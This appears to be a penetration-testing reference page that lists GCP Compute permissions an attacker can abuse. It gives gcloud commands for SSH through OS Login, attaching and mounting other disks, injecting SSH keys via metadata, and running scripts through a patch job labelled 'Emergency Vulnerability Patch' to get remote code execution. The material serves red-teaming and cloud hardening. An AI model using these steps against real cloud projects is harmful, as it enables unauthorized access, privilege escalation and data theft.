Cloud Compute

Abusable GCP Cloud Compute permissions that can lead to compromise or privilege escalation

compute.instances.osLogin || compute.instances.osAdminLogin

• OS Login is a GCP service allowing you to manage SSH access to instances via IAM without having to create and manage individual SSH keys.

• If the service is enabled on an instance, an attacker with the compute.osLogin or compute.osAdminLogin permission can authenticate to the instance as a Linux user derived from their Google identity, without needing to manipulate instance metadata or SSH keys.

• compute.osLogin grants non-sudo level access while compute.osAdminLogin grants sudo level access once connected to the instance.

## Confirm OS Login is enabled on an instance
gcloud compute instances describe <INSTANCE_NAME> --zone=<ZONE> --format=json | jq -r '.metadata[]'

[SNIP]
[
  {
    "key": "enable-oslogin",
    "value": "TRUE"
  },
[SNIP]

## Connect via SSH
gcloud compute ssh <INSTANCE_NAME> --zone=<ZONE>

---

compute.instances.attachDisk

• Disks can contain sensitive information and be attached and mounted to compute instances provide both the instance and disk are located in the same Zone.

• At attacker with this permission and direct or indirect access to an instance could gain access to sensitive data or secrets on the disk or exfiltrate data by attaching the disk to a compromised instance.

gcloud compute instances attach-disk <INSTANCE_NAME> \
  --disk=<DISK_NAME> \
  --zone=<ZONE> 

• Once attached, the attacker can then mount the disk on the instance to gain access.

## Find disk
lsblk

## Mount disk and access
sudo mkdir /mnt/target_disk
sudo mount /dev/sdb /mnt/target_disk
cd /mnt/target_disk

---

compute.instances.setMetadata

• With this permission on a compute instance, an attacker can provision SSH access to the instance by leveraging the metadata service.

• If OS Login is not enabled, the guest agent creates and manages local user accounts and their SSH keys by using metadata settings.

• The user you specify does not need to exist for this to work!

## Generate an SSH key if needed
ssh-keygen -t rsa -b 4096 -f ~/.ssh/gcp_ssh -C "<USERNAME>" -N ""

## Update the instance metadata 
gcloud compute instances add-metadata <INSTANCE_NAME> \
  --zone=<REGION> \
  --metadata ssh-keys="<USERNAME>:$(cat ~/.ssh/gcp_ssh.pub)"
  
## SSH into the instance via IP (requires network connection or GCP console)
ssh -i ~/.ssh/gcp_ssh <USERNAME><INSTANCE_IP>

The change will be visible in the instances's metadata

gcloud compute instances describe <INSTANCE_NAME> --zone=<ZONE> --format=json | jq -r '.metadata[]'
PiZW8lWXqOA=
[
  {
    "key": "ssh-keys",
    "value": "<USERNAME>:ssh-rsa AAAAB3NzaC1yc2EAAAADA[SNIP] <USERNAME>"
  }
]

---

osconfig.patchJobs.exec

• OS Config is part of GCP's VM Manager, a suite of tools that can be used to manage operating systems running Windows or Linux.

• With this permission, an attacker can run scripts on an instance potentially gaining a Reverse Shell, Remote Code Execution (RCE), or perform other actions.

• The script must either be on the instance locally or referenced from Cloud Storage.

gcloud compute os-config patch-jobs execute \
  --instance-filter-names=zones/<ZONE>/instances/<INSTANCE_NAME> \
  --pre-patch-linux-executable=gs://<GCP_BUCKET>/myscript.sh<GENERATION_NUMBER> \
  --reboot-config=never \
  --display-name="Emergency Vulnerability Patch" \
  --duration=300s

• The generation number can be discovered like so

gcloud storage ls gs://<GCP_BUCKET>/<SCRIPT_NAME>

    patch.sh#123821937283723